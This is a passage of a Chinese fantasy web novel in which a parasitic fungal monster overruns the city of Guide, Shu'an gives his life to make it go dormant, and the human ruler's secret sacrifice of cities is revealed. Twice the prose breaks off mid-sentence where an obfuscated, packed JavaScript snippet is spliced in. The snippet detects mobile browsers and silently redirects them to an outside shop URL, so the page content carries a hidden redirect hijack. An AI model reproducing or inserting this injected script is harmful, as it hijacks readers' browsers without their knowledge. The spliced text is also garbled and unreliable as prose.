我们三人却没有急着上前。顺着穆青所指的方向,我看到羽婆靠坐在断墙边,柠栌正小心地喂她喝粥。 刹那间,我浑身冰凉,控制不住地颤抖起来。穆青紧紧握住我的手,仿佛要驱散我内心无边的恐惧。 那日我只知羽婆头部受伤,此刻她没有戴帽子,我才清楚地看见——她的后脑缺了一大块,猩红的菌丝在雨中诡异地摇曳,而头颅里已全然不剩属于人该有的部分。 羽婆早已经死了,可她又好似没死。 “舒岸,一旦被寄生,□□就会随时间腐坏,但意识却以机械的方式存续……如同行尸走肉。” 舒岸眼中泪光闪动,紧握的拳头终于无力地松开。 “无相孽确实进化出了智慧。我不明白它们为何不继续南下,而是停留在归德……并且,仍在等待。” 灭顶之灾已彻底击垮了阿糯,她泪流满面,仿佛在等待一个拥抱。 舒岸深吸一口气,举步向阿糯走去,声音轻得几乎消散在绵密的雨声中,“青莲,就让这里……成为无相孽的坟墓吧。” 高大的男人将那个早已失去自我的女子紧紧拥入怀中,承受着她滚烫的泪水,以及那份无声的诘问。 阿糯满心欢喜地依偎在思念之人的胸膛,却未曾察觉自己的胸口早已破开一个空洞,再也无法愈合。 这里早已是一座死城。纵使世间真有无所不能的神明,此刻也已无能为力。 我跟随穆青登上城南唯一幸存的瞭望塔。 远方,青色的结界上密密麻麻地插满了燃烧着烈焰的箭矢,而无相孽凝聚而成的巨树遮天蔽日,蔓延的菌丝吞噬了归德的城墙,如同一个正从盒外窥伺的庞然巨物,只待一声令下,便会张开血盆大口,吞下这顿迟来的盛宴。 “煌木也给了你同样的答案么,小青。” “嗯。必须用烈火彻底净化这片被污染的土地……包括土地上所有被感染的生命。” “……小青,晋川曾说,仙魔之战时 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我靠在穆青胸膛上,听着他平缓的心跳,心下暗忖,难不成我真的混合了钩星身体的一部分,所以穆青才会对钩星的能力有一定“感知?” “照夜,等这里的事情结束,我必须回一趟灵璧城。我们……可能要分开一段时间。” “你要去做什么?” “去把煌木积攒的仙力——全部带走。” 我震惊地望向穆青。他目光坚定,不像在说笑。 “你要带走源涡池里的仙力?” “嗯。煌木四百年来积蓄了海量仙力,原本是为了维持结界和支撑灵璧城运转,供修仙者强化修为所用。可惜他的仙力并不纯粹,大多数修仙者难以快速炼化,导致仙力不断堆积,甚至凝结成那般黏稠的状态。”穆青轻叹一声,在我耳边落下一个吻,“这次修复结界时,我感知到了——我们的仙力性状极其相似。我可以带走他的仙力,用来对抗无相孽,或者……膣藟。” “可……可渊寂怎会同意你带走那样庞大的仙力?” 穆青没有立刻回答,只是静静地凝视着我,眼中澄澈的泪光让我的心猛地揪紧。 “你……你要利用凤琤公主,是吗?” “对不起,照夜。”穆青的声音轻得像一声叹息,“乖乖等我回来,好么?” 泪水不受控制地涌出,我的声音颤抖得不成样子,“你别去好不好?用我的仙力不行吗?我也有很多啊!” 穆青轻轻抚过我的唇,摇了摇头,眼中同样闪着泪光,“你不能再暴露了,照夜。你太特殊了……体内近乎纯粹的仙力,不知有多少人在暗中觊觎。答应我,别再轻易露出自己的小尾巴。” 心痛如绞,仿佛千万根细针扎进肺腑。我在穆青怀中放声大哭,我从未想过我们会以这样的方式分别。 “别哭,”穆青轻声哄着,“等我回来……等我回来娶你。” “你会变心吗?” 穆青摇头,温热的泪水滴落在我的颈间,“你也不要变心,好么?” “那……你要快点回来。” “好,一定。一定。” 穆青当夜便离开了归德城。在得知这片土地早已死去后,任何挣扎都失去了意义。 如今唯一的选择,就是尽快消灭无相孽,阻止它向化西与天翮蔓延。 与仙军合作,已成无奈之举,也是最后之举。 我在弥漫着苦涩草药气的营地里找到了阿米。这个往日机灵的小丫头,此刻正跪在泥泞中,用那双本该玩耍的手,一遍遍为伤员擦拭早已不再流血的伤口,尽管——已无需如此了。 守军统帅绫洪靠坐在残垣边,当我瞥见他左臂的惨状时,呼吸骤然一滞——整条手臂的血肉已被啃噬殆尽,只余森森白骨,而几缕猩红菌丝正从包扎的纱布缝隙中缓缓探出,诡异地蠕动着。 它们,竟成了维系这具身躯最后的、绝望的生机。 “哇,照夜姐姐!”阿米抬头看见我,努力挤出一个苍白的笑容。她目光落在我颈间,微微睁大眼睛,“守月卿大人……把月信石交给你了呀。” 55. 第 55 章愚蠢的弟弟哦 “她知道我要去天翮城找桃夭神医,就托我帮她带回去。”我抹掉眼泪,努力扯出一个笑,“阿米,你哥哥阿粽……他怎么样了?” 巨大的悲伤几乎将眼前的小姑娘淹没。她捂住脸,哭声断断续续,“火凤楼塌了……他没逃出来。好多人……都没逃出来。” 说不清为什么,我还是伸出手,轻轻抱了抱这个早已死去、被无相孽寄生的女孩。 雨势逐渐大了。 城里仍有不少将士在捡拾箭镞,动作迟缓而僵直,仿佛已经丢失了所有的信仰和目标,只是单纯操纵着身体。 迎着雨,我再次爬上了已被菌丝爬满的城楼。此时,我并没有感受到敌意,这些怪物好似睡着了一般在雨中等候。 远处烽火台的轮廓在雨幕中模模糊糊,舒岸独自站在那里,仰望着那株吞噬天光的巨大肉树,像一尊凝固的雕像。 “屏障快要崩塌了。” 我顺着舒岸的目光望去。穆青倾尽所有仙力构筑的屏障上,裂痕如蛛网般蔓延,触目惊心。 穆青虽已是仙界翘楚,却也依旧很难维持结界的稳固。而那已然陨落的煌木,仅凭残存的力量,竟仍能维系着灵璧城上方那片辽阔的结界不倒。他究竟拥有怎样的力量呢。 “小青去和仙军谈判,也许很快就有结果了。” 舒岸闻言,露出一丝轻快的微笑,“嗯,青莲一直是一个心怀大义的人,无愧青莲之名。” 我沉默片刻,雨水顺着额发滑落,终于还是问出了口,“舒岸,你还有什么……遗憾么?” 舒岸明显怔住了,缓缓转过头,视线落在我颈间那枚沉寂的月信石上。 这目光不再有丝毫掩饰与克制——对于一个徘徊于生死边缘,或者说早已被死亡烙印的人,已经没有明天,也再也不必隐藏真实的自己了。 舒岸伸出手指,极轻地拂过那冰凉的石坠,唇边漾开一抹浅淡的弧度,“有。遗憾未能拥有一块独属于我的同心石,遗憾不曾在这人世间——留下痕迹。” “这个……眼下是来不及了。”我喉间有些发紧,“若还有什么想尝的滋味,我或许……还能尽力一试。” 舒岸竟低低地笑了起来,雨声也盖不住那笑声里短暂的轻松,“哈哈,你要亲手为我做么,照夜?” “不瞒你说,我曾跟着村头的刘大嘴学了几天厨艺,在沧栗楼帮工时也用眼睛偷学过几手……只是眼下,也许没有那么多食材可用。” “那便做一道桂花卷吧。”舒岸的声音柔和下来,带着遥远的追忆,“这也是棠梨生前——最喜欢的点心。” 归德的粮草已经见底了,不会再有物资运来。象征着此地尚存的城旗早已委顿于泥泞之中,暗示着这里已经失守,所以,不会再有活人靠近了。 我寻来仅剩的米粉,依循记忆中模糊的步骤,揉捏、蒸制,勉强做出了一道不含面粉,也没有桂花味道的桂花卷。 当那碟热气微弱的点心递到舒岸手中时,他脸上缓缓绽开一个我从未见过的笑容。那笑意清澈而释然,仿佛此生所有的沉重与哀恸,都在这一刻被这微弱的暖意温柔地消解,永远地留在了过去。 这夜,青莲结界彻底崩碎,化作漫天流萤。 结界之外,列阵如云的仙军遮天蔽月,肃杀之气压得人喘不过气。 阿糯立在城楼最高处,一身归德军的战甲早已残破,却依旧率领着所有还能站立的将士,在墙头列阵。 尽管脚下土地已被猩红的菌海彻底吞没,他们的身影依旧挺得笔直。 我紧紧搂住怀中瑟瑟发抖的焉耆,藏在舒岸身后。 我必须看下去,必须用这双眼、这颗心,将此刻发生的一切牢牢铭记。 “人君,”阿糯的声音穿透厚重的雨幕,像一把淬冷的利刃,直指骑在金色蹑云驳背上的男人,“归德归顺月下州时,您曾立誓庇护此间万千生灵。如今,您是要亲手为他们送行么?” 舒仲——人界的君王,只是面无表情地俯视着这座腐烂、死寂,只余哀伤与恶臭萦绕的城池。他的目光,最终落在了自己最亲爱的弟弟身上。 “今日种种,不过是尔等咎由自取。” 阿糯浑身一震,死死盯住了人君身旁开口的人——他的堂兄,舒俱。 “你什么意思?!” 这时,沉睡许久的尾巴终于醒了。他趴在焉耆头顶,昂首望向远处密不透风的仙军阵列,声音几乎被风雨吞没,“振岳仙人在山上,与青莲在一起。” “……是在准备消灭那怪物的母株?” “嗯。哪怕要搬山卸岭,也在所不惜。” “君上,何必与这些孽物多费唇舌?”星允依旧那副高高在上的姿态,唇边甚至凝着一丝嘲讽的冷笑,“犹豫只会贻误战机。当初若早早恪守承诺,出让三城,又岂会酿成如此大灾?毕竟早已商定,此番轮到人界向天地献祭——” 闻言,舒岸猛地攥紧了拳,难以置信地望向自己最信任的兄长哥哥,沙哑的嗓音里浸满了无尽的哀恸,“哥哥……他说的,是什么意思?!” 舒仲只是漠然地看着我们,他座下那匹悬浮空中的金色蹑云驳,周身仙力如烟缕般逸散。 “哥哥!舒仲——!”长刀骤然出鞘,舒岸的胸口剧烈起伏起来。 我紧张地盯着那片天空,心已然悬到了嗓子眼。 “陛下,既然秘密藏不住了,也是时候该让舒岸大将军知道真相了吧?”舒俱厉声道,“这无相孽每隔百年必泛滥成灾,向来由仙、人、魔三界轮流献祭城池生灵以镇压!先前人口普查早已测算清楚,此次只需献出玉山以南三城,便足以让那怪物压制至重归沉睡,换我人界百年安宁!此乃历任仙帝定下的铁律,不容改易!陛下,为了大局,请早下决断!” 这迟来的真相,犹如炽热的火石投入冰封的湖面,瞬间炸裂,掀起惊涛骇浪,震得在场所有人脑中嗡鸣,一片空白。 我猛然想起渊寂曾说过,人界的命运早已注定……原来,指的是这个么。 “啧,可恶的东西,竟打着煌木的名号。”尾巴用力攥紧了焉耆的耳朵,似在命令它保持镇定,不得妄动,“照夜,别听他的鬼话!” 我下意识地紧紧握住舒岸冰冷的手。 舒岸怔了一瞬,强行将那几乎喷薄而出的狂怒压了下去,声音因极度压抑而显得低沉嘶哑,“归德……已然失守。但化西、天翮,还有救!” 舒俱闻言发出一阵怪异的笑声,扭曲的嘴角几乎咧到耳根,“哈哈哈,舒岸,你竟替那些叛军说话?看来人君一直将你蒙在鼓里啊!二十年前闯入禁宫的,正是归德、化西、天翮三城的逆贼!这些无耻之徒,明明已经献上圣女以示归顺,却出尔反尔,勾结先皇后宫变!今日这般下场,不过是咎由自取!“ 我倒吸一口凉气,难以置信地望向始终面无表情的舒仲。他漠然、寂冷,却仿佛终于卸下了一个令他喘不过气的沉重负担。 随即,那被隐藏了二十多年的真相彻底暴露出来,如同一把淬毒的匕首,狠狠刺穿了舒岸生命中最柔软的记忆。 舒俱继续嘶吼道,“舒岸!醒醒吧!当年棠梨根本不是为保护你而死!是她勾结叛党劫持了你,才被禁军乱箭射杀!快停止这场闹剧,立刻归降!“ “你胡说!明明是你们苛待囚禁圣司大人,她只是想回家——“阿糯咬紧牙关,怒不可遏地搭弓射箭。铁箭破空而去,直指舒俱的眉心。 电光火石间,晋川的身影一闪而过,轻描淡写地将箭矢握在手中,随手抛落。 就在此时,一直沉寂的无相孽母株突然剧烈悸动,发出令人牙酸的根茎摩擦声。 这巍峨如山峦的怪物,主干由无数扭曲融合的肢体纠缠而成,此刻竟睁开了遍布躯干的千万只眼睛——人眼、兽瞳,甚至一些无法名状的视觉器官。 此刻它们齐刷刷地转动着,冰冷地倒映着城外严阵以待的仙军,散发出令人齿冷的邪异气息。 舒岸突然松开我的手,痛苦地捂住胸口跪倒在地。 我刚承住舒岸,便见精神已濒临崩溃的阿糯望着苏醒的无相孽,重重挥下手臂,发出了她作为城主的最后一道命令,“放箭!“ 零星的箭镞带着微弱的火光射向那可怖的庞然大物,却甚至连穿透雨幕的力气都没有了。 仙军统帅星允的银甲在阴雨中泛着冷光,他抽出长剑,直指母株,声如雷霆,“各部列阵!目标,无相孽母株——攻!“ 刹那间,万千道仙光自军阵中迸发。 飞剑如暴雨倾泻,撕裂长空,仙印横亘天际,各色仙力汇聚成毁灭性的洪流,朝着那可怖的肉山轰击而去。 然而,面对这足以荡平山岳的合力一击,无相孽似乎挣脱了不可见的牢笼,以极大的力量发起反击。 下一瞬,无数血红色的菌丝从母树各处疯狂生长,如亿万鞭毛迎向仙力洪流。它们并不硬撼,而是如同活物般 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17549521|204291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缠绕、贴附。 仙光触及菌丝的瞬间,竟如滴水入海,被迅速“吸食“殆尽! 这磅礴的仙力非但未能伤及母树分毫,反而为它注入了新的活力。母树的蠕动愈发剧烈,扭曲的肢体抽搐得更加疯狂。 不等仙军做出下一步反应,母树树干上那万千眼睛猛地凸出,瞳孔收缩至针尖大小,随即—— “噗嗤!噗嗤!噗嗤!” 密集得令人牙酸的喷射声响起。 无数拳头大小的、如同凝结血块般的红色菌团,从那些眼睛里暴射而出,铺天盖地,如同一场倾盆血雨,朝着整个归德城以及仙军阵列覆盖下来。 “阿糯——!” 舒岸目眦欲裂,视野彻底被血色吞没。他眼睁睁看着那菌团击中阿糯,将她的半边身躯瞬间消融,随即用疯长的猩红菌丝将其包裹、吞噬,把她扭曲成一个无法辨认原貌的、不断蠕动的怪物。 “糟了!无相孽彻底活化了!快撤!照夜!”尾巴的吼声在我耳边炸开。他跃上我的肩头,周身爆开一道璀璨的金色屏障。 就在此刻,一坨菌团砸在光壁上,发出“滋啦”声响,像是被这世上最灼热的光触碰,瞬间焦黑化成灰烬。 我此刻只有一个念头,那便是逃跑。 我咬紧牙关,用尽全身力气拖起气息奄奄的舒岸,在持续异变的将士与不断坠落的怪物间夺路狂奔。 天空中,星允的嘶吼穿透混乱,“散开!避开菌团!” 与此同时,星允挥剑斩出凌厉的剑气,将射向自己的几团菌球凌空劈碎。 菌球爆开,溅射出粘稠的红色浆液,带着强烈的腐蚀性与寄生欲望,瞬间便再次纠缠修复而成新的菌团,疯狂寻找着一切活物! 难以抵挡的攻击冲散了仙军的阵列。 咚的一声,一只飞兽载着一名年轻的仙军坠在我们面前,只见那菌团瞬间蚀穿他纸糊般的屏障。 紧接着,无数细密的红色菌丝以恐怖的速度蔓延开来,瞬间覆盖他全身。 “啊——!” 凄厉的惨叫戛然而止。 他的身体在我们眼前急速膨胀、扭曲,皮肤被撑裂,露出下方蠕动的红色菌丝组织。 他的头颅裂开,从中探出新的、由菌丝构成的触须状器官,四肢异化成尖锐的骨质附肢。 不过眨眼之间,一个活生生的仙军,就变成了一头失去理智、只剩下吞噬本能的人形怪物,他咆哮着控制那同样异变的飞兽,反身扑向剩余的活物! 混乱瞬间爆发。 接二连三的惨叫声在阵列中响起。 越来越多的仙军被菌团击中,在极短时间内完成那可怖的蜕变,从内部撕裂着整个战阵。 肃杀的战场,顷刻化作了血腥的炼狱,吞噬与被吞噬,攻击与异化,在此刻交织成最绝望的图景。 就在此时,破空之声自天际传来——无数巨石如流星般轰击在母株庞大的躯干上!紧接着,漫天箭矢裹挟着纯粹燃烧的烈焰,穿透雨幕,从四面八方倾泻而下! “照夜……我不行了……”舒岸猛地呕出一大口污血,眼神已然涣散。他艰难地格开我试图搀扶的手,用尽最后力气低吼,“快走……照夜……逃啊……快逃……” 滚烫的泪水瞬间模糊了我的视线。我颤抖着拨开舒岸早已被血与雨浸透的衣襟,眼前的一幕几乎将我的神智拽入最深的黑暗之中。 在舒岸胸膛的血肉之下,竟清晰地蠕动着一张扭曲、狰狞的人脸!它正疯狂挣扎着,试图撕裂这具宿主的身躯,破体而出! “……那母株之前一直有所克制,是因为你?舒岸,是你吗?你才是……无相孽真正的核心?” 舒岸痛苦地呕着血,目光涣散地望向远方正在操纵巨石的振岳仙人,极其缓慢地摇了摇头。 “我只是想……消灭它……只想战胜……那个一直在我脑中低语的声音……”舒岸猛地抓住我的手腕,眼中爆发出最后一点清醒而绝望的光,“照夜……杀了我。结束这一切。” 我挡住企图将舒岸吞下肚的焉耆,举起了手,可尾巴却迟迟不愿幻化成刃。 金色的光团立在我肩头,声音淡漠得像是九幽寒冰般。 “为你的哥哥,做最后一点贡献吧,舒岸。” 震惊地抬起头,舒岸盯着发出声音的尾巴,像是意识到什么一般,释然地笑了。 “嗯,就让我这个愚蠢的弟弟,保护他一次。” 56. 第 56 章三城被献祭的真相 舒岸勉强支撑着站起身,染血的目光穿过雨幕,望向仍在与无相孽缠斗的振岳仙人与青莲。 喘息着,舒岸声音轻得像一声叹息,“照夜,我等你来。再见了。“ “你要去哪里?!“我急切地抓住舒岸的衣袖,却被他轻轻挣脱。 金色的屏障裂开一道缝隙,舒岸拖着沉重的步伐走向城墙边缘。那道决绝的背影,仿佛已看透了这世间所有的谎言与哀恸。 他不会回头了。 那道高大却蹒跚的身影逆着溃退的人流,从残破的城垣上一跃而下。 一声清亮的口哨划破雨夜,名为“小兔“的蹑云驳应声而至,载着它的主人在泥泞中疾驰,义无反顾地奔向那可怖的母株。 “舒岸!“我冲到城墙边,眼前的景象将永远烙印在我心底。 舒岸轻轻俯身,将脸颊贴在小兔的背上,似在赞许它最后的勇敢。随后,舒岸缓缓拨开那些并未攻击他的菌丝触手,坦然张开双臂,如同奔赴一个等待已久的、残酷的拥抱。 猩红的菌海瞬间将舒岸吞没。 那些蠕动的、充满恶意的肉质组织,在接触到舒岸身体的刹那,竟如活水般向两侧分开,温柔到近乎虔诚地将期盼已久的核心彻底容纳。 “照夜,他总自诩无用,就让他——当一回真正的英雄。“尾巴温柔地裹住我,轻轻托住我滚落的泪珠,那声音既像叹息,又像哭泣,“然后,就让这充满谎言与伤痛的人生,就此落幕。“ 核心回归母株,预想中的疯狂进攻却没有到来。 整个战场陷入诡异的凝滞。 这株庞大、扭曲、亵渎生命的无相孽母株,在将舒岸彻底吞噬融合后,竟陷入了死一般的寂静。 先前疯狂挥舞的肢体软垂下来,如同枯萎的藤蔓。树干上那万千只令人毛骨悚然的眼睛,此刻竟齐齐闭合,只留下密密麻麻的凸起,仿佛陷入了沉睡。 而那漫天飞舞、触之即被异化的红色菌团亦软了下来。 就连城中那些已经异化的百姓与将士,也都停止了攻击,只漫无目地蹒跚挪动着。 无相孽,被强制沉睡了。 晨风卷过残破的城垣,带起血腥与腐败的气息,吹不散这凝固的死寂。 “照夜!“ 熟悉的声音从头顶传来。尾巴撤去屏障,冰凉的雨再次打湿我的脸颊。 穆青喘着粗气落在我身旁,伸手就要拉我离开。 此时天光微亮,灰白的光线从东方蔓延开来。 就在我和穆青要走时,一层血色屏障自我们脚下迅速生成。 暗红的菌丝以前所未有的速度疯狂编织、堆叠、硬化。它们不再柔软,而是凝聚成一面覆盖整棵巨树的血色晶盾。 穆青蹲下身,与我近距离观察着面前这诡异的变化。 这晶盾是活物,渗着一种令人心悸的、活体生物的特质。它的表面光滑如镜,却又隐约可见内部有无数细小的红色脉络在搏动、流淌,仿佛血液一般。 在指尖凝炼了一片花瓣,穆青尝试着割开那晶盾,可花瓣在接触到晶莹剔透的盾的瞬间,其中仙力便被吞噬干净。 “无相孽会继承宿主最特殊的能力。”穆青望向驾着飞兽逼近的星允,迅速握紧我的手,“照夜,把尾巴和焉耆都收好。” “哟,青莲,大敌当前,竟还有闲情在此缠绵?”星允的目光在我身上短暂停留,带着一丝审视的意味,“她便是照夜?” “我正准备与振岳仙人汇合。”穆青下意识侧身将我完全挡在身后,指节因用力而发白。 银光乍现,长鞭如毒蛇般抽在穆青脚前,青石地砖应声裂开一道深痕。 星允眼底尽是冷蔑,“本将问话,好好回答。” “……回禀上仙,是照夜。” “哼,速归。” 星允离开后,穆青紧绷的下颌才微微放松。我这才发现他竟将下唇咬得渗出血丝。 缓缓转过头,额头轻轻贴上我的,穆青声音里压抑着难以驱散的苦涩,“对不起,照夜,对不起。” “不准道歉,小青没有错。”我抬手拭去穆青眼角的湿意,努力扬起嘴角,“舒岸用生命换来的时间,咱们绝不能辜负他。” 穆青将我紧紧搂住,在连绵阴雨初歇的此刻,滚烫的泪水终于落了下来。 桐树村,先前这座死去的地方因仙凡两军的驻扎意外恢复了生机。 炊烟袅袅升起,湿润的空气里混杂着柴火与丹药的气息,医师们行色匆匆地穿梭在临时搭起的营帐间,额上满是热汗。 路上,穆青将前因后果娓娓道来。原来在我和舒岸抵达归德不久,仙军便已兵临玉山关。 随军前来的还有振岳、翎波与方有之三位仙人。 统帅星允奉仙帝之命征讨无相孽,他先是以雷霆手段处置了违命的铁棘仙人,继而强令御驾亲征的人君交出指挥权。 凡军被迫在归德城西、北、东三面布防,作为仙军策应。方有之辅佐迩松镇守东线,振岳随北祐仙驻西侧山腰,翎波则在后方救治伤患。 而穆青则被星允强令归队,直接参与先锋攻坚。 “拖拖拉拉,青莲,还不速去面见星允将军?”溟牙守在不远处,嘴角挂着讥诮的冷笑。 穆青仙力耗损严重,只得忍下这口气。他轻轻按了按我的肩膀,转身步入营帐。 我怀中的焉耆似是嗅到食物的香气,突然窜出觅食。溟牙下意识侧身避让,仿佛还记得被这小家伙撞飞的经历。 “怎么又是你,你怎么到处游荡。” 我嫌恶地瞪了这蛇瞳男人,一屁股坐在一处断墙下。经过一夜激战,我此时已身心俱疲,对于溟牙的嘲讽也没力气回嘴了。 “问你话呢,哑巴了?”说着溟牙蹲在我面前,竟凑近我嗅了嗅。 我猛地后仰,拧着眉头道,“你好好说话!离这么近做什么!” “啧,我正在标记你,奇怪,为何唯独你,我无法标记。” “你太差劲了呗。”我抬起胳膊肘给了溟牙一下,低头时才发现衣襟的扣子不知何时崩开了。 怎么回事,我好像又丰润了些,原本合身的衣裳此刻竟有些发紧。 溟牙瞥了眼星允营帐的方向,压低声音,“星允向来视青莲为眼中钉,绝不会轻易放过你和你的狗。自求多福吧。“ 话音未落,一仙兵便上前将我引入帐中。 星允毫不迂回,直指穆青触犯仙规,在征战期间私带亲眷,依律当受五十鞭刑,并要传谕全军以儆效尤。 穆青双拳紧握,正要开口领罚,我却抢先一步跪了下来。 “回禀将军,我并非随青莲仙君前来。“ “哦?莫非你是恰巧在此闲游?“ “确切地说,照夜是受人君雇佣,参与此次讨伐无相孽之战。“ 一个清冷的声音随着白衣男子掀帘而入,传到耳畔。 “晋川,什么时候你也学会这多管闲事的本领?” 依旧背负枯枝剑的晋川唇角微扬,抱臂而立,“不过是陈述事实。照夜养的那条狗嗅觉灵敏,总能追踪到怪物气息,便雇佣来使使。若将军执意追究——我不妨换个说法。人君雇佣了她的狗,而她不过是作为饲主随行罢了。“ 星允闻言大笑起来,“之前趁仙帝登位大典作乱的孽畜?本该宰了烹食,竟被人君雇了去。啧啧,真是可悲,堂堂人界君王,竟沦落至此。” 晋川不怒反笑,伸手将我扶起,目光掠过穆青,最终定格在星允身上,“看来仙界伙食不怎样,将军竟惦记那臭烘烘的小狗,若真有兴趣,不妨亲自去捕来宰杀下锅——届时再来嘲讽人君,想必更有底气。“ 不再多言,晋川带我离开了星允的营帐。我暗自松了口气,无论如何都不能让小青受委屈,即便他如今只是个无名散仙,也不行。 晋川默然将我带至桐树村外黑羽军的驻地,这才松开手,仔细端详我片刻,“人君要见你。走吧。“ “多谢你方才解围。“ “……别急着道谢。“晋川神色难 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17549522|204291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辨,“见过人君后,你随我去个地方。“ 再次见到人君舒仲,我这才深深感受到,岁月在他面容和躯体上留下了不可磨灭的伤痛。 这个痛失亲弟弟的哥哥,一夜白头。 不大的营帐内,舒仲、晋川、川晋及舒俱皆在。我环视一周,最终望向双眼通红的舒仲。 “他,死了么。” 舒仲沙哑的嗓音像是从喉咙深处挤出,带着难以掩饰的哽咽。 “他或许早在与我相遇时,就已经……死了。或许是靠着强大的意志,才坚持到今日。“ “君上!“舒俱突然插话,“如今仙帝出手相助,我们何不将未用完的熠石暗中留下?我在大营搜寻多时都不见熠石踪影。这胖女人与舒岸关系匪浅,不如将她拘起来严加审问,定能问出熠石下落!“说完,舒俱得意地瞥了我一眼。 他竟是帐中唯一还能露出笑容的人。 “川晋。“ 舒仲令下的刹那,白衣女子的箭矢已穿透舒俱的胸膛,鲜血喷溅,人当场烟气。 我急退两步,屏住呼吸。 附着仙力的箭矢如烈焰般不仅夺去这人的性命,更以惊人速度将其尸身焚为灰烬。 霎时间,万籁俱寂,只余我急促的呼吸声在帐中回响。 舒仲深深闭上双眼,喉结艰难地滚动着。待他重新睁开时,那双布满血丝的眼里已蒙上一层水光,却强忍着没有落下。 “他走之前……可曾留下什么话?” “……他说,要保护你一次。” 这句话仿佛击碎了人君最后的克制。他猛地别过脸去,指节攥得发白。 我的泪水也再次夺眶而出。一旁的川晋见状,默默递来一方素白手帕。 我接过手帕,拭去脸上的泪痕,努力平稳呼吸后轻声说道,“君上,他从未因您的隐瞒而怨恨。像他那样的人……只会责怪自己无能,无法为您分忧。” “事到如今,确实不必再隐瞒了。” 晋川用力眨了眨眼,将即将涌出的泪意逼了回去。在舒仲微微颔首后,他深吸一口气,道出了一个石破天惊的真相—— 雷枢之乱,竟是舒仲在背后主导。 我只觉一阵寒意从脊背窜上,大脑因这惊人的信息而一片空白。 那在渊寂登基大典上掀起叛乱的雷枢仙人,居然是受人界君主的指使?! 电光火石间,所有线索竟突然串联了起来。 舒俱此前竟所言非虚。 无相孽——或者说膣藠之灾——从未被真正根除。正如尾巴所推测的,这怪物只是在被镇压后不断复苏、繁衍、作乱,周而复始。 不知从何时起,三界形成了一条不成文的规矩,每隔一段时期,便由灾祸爆发的国度献出特定的领土作为“祭品”。百年前是映山都,而这一次,轮到了人界的玉山南。 由于舒岸坚决反对舍弃三城,舒仲既不忍告知弟弟真相,也不愿坐视三城覆灭,于是便暗中支持黑羽军驻守玉山,有意无意拖延所谓的“约定”。 彼时仙界正值煌木陨落、政权更迭之际,起初对玉山之战敷衍塞责,低估了灾情的严重性;后又因忌惮魔界与人界往来过密,竟消极应战,最终更以“人界向魔界购取熠石”为由撤兵,致使黑羽军陷入绝境,灾祸进一步失控。 在渊寂登基大典前夕,仙界再度派遣溟牙与宋莹为使,游说舒仲依约交出玉山南三城,由仙界建立结界将怪物彻底封印。 但舒仲仍不愿放弃,同时对仙界指使太师联合尚王势力在朝堂上向他施压的做法极为不满,于是暗中联络了对渊寂统治心怀不满的雷枢仙人一派,助其扰乱登基大典,意图动摇渊寂的统治。 然而渊寂的实力远超所有人的预料——此人甚至未曾亲自出手,仅凭鸿珠三仙便平息了叛乱。 而舒仲之所以突然转变态度,不再顶住压力为舒岸争取三个月的时间的原因,似乎已经不言而喻了: 仙帝渊寂,已洞察了雷枢叛乱背后的真正主使,便是人君。 57. 第 57 章 继续前行 这一刻,我终于参透了宋莹话语中深藏的真相。 她曾说,在修仙者眼中,凡人不过是天地间流转仙力的耗材。 一场空前规模的战争,需要吞噬、使用海量的仙力。若不粉碎“人”这种天然凝聚仙力的个体,又如何快速补益日渐枯竭的天地仙元?更何况玉山这般仙力本就贫瘠之地。 多么可怕又悲哀——人类为了生存,竟要与膣藟这样的怪物争夺生存的资源。 自始至终,舒岸的抗争都注定是徒劳的。 但他依然不愿向人界既定的命运低头。 见我颓然跌坐一旁,舒仲挥手示意晋川师兄妹退下。 舒仲缓步走到我面前,长叹一声,“照夜,孤明日便将启程,依约向仙界让出化西与天翮二城。你可愿随孤返回月下州?” 我轻抚着颈间的月信石,摇了摇头,“我还要去天翮城找桃夭神医,救我大师姐的性命。而且——还要将羽婆的遗物送回家乡。” 舒仲俯身,轻轻托起那颗月信石。他疲惫的眼中泛起追忆的柔光,嘴角牵起一丝苦涩的弧度,“那时的棠梨还太小,懵懂地被选为圣女,又懵懂地应族人请求嫁给我。也许直到后来她才明白,她并不爱我。比起月下州的繁华,她更想念故乡。” “当年她的族人叛乱……是真的吗?” 舒仲深深望进我的眼睛,抬手为我拭去眼角的泪痕,“那些天翮族人,或许只是想带她回家罢了。可惜,觊觎人君之位的各方势力趁机发难,企图挑拨玉山南与月下州的关系。混乱中棠梨丧生,也给年幼的舒岸留下了永不愈合的创伤。” “所以棠梨并不像舒俱说的那样,并非为了伤害舒岸才劫持他,对吗?” 舒仲眼中掠过深切的哀恸,以及一丝难以捕捉的冷意,“如今再追究这些,已经毫无意义。” 是啊,舒岸和棠梨都已不在人世,真相如何已不重要了。 “照夜,孤或许时日无多了。你是舒岸唯一牵挂的人,定要好好照顾自己。” 我困惑地抬头,望着这位正急速衰老的君王,喉间涌起难言的苦涩,“即便舒岸做出这样的选择,依然保护不了您吗?” “他啊,终究太过单纯。”舒仲的声音轻得像一声叹息,“渊寂不会放过孤,更何况朝中还有无数渴望啃食孤骨血的蠹虫。照夜,争夺与杀戮的历史,远比人类文明更加悠久。” 这,是我与舒仲的最后一面。当我脚步虚浮地走出黑羽军驻地时,神思依然恍惚。 阴云密布的玉山仿佛被无尽的悲恸笼罩,远方那株晶化的巨树依旧巍然耸立,而在它脚下涌动的,是即将爆发的绝望与哀鸣。 “走吧,跟我来。” 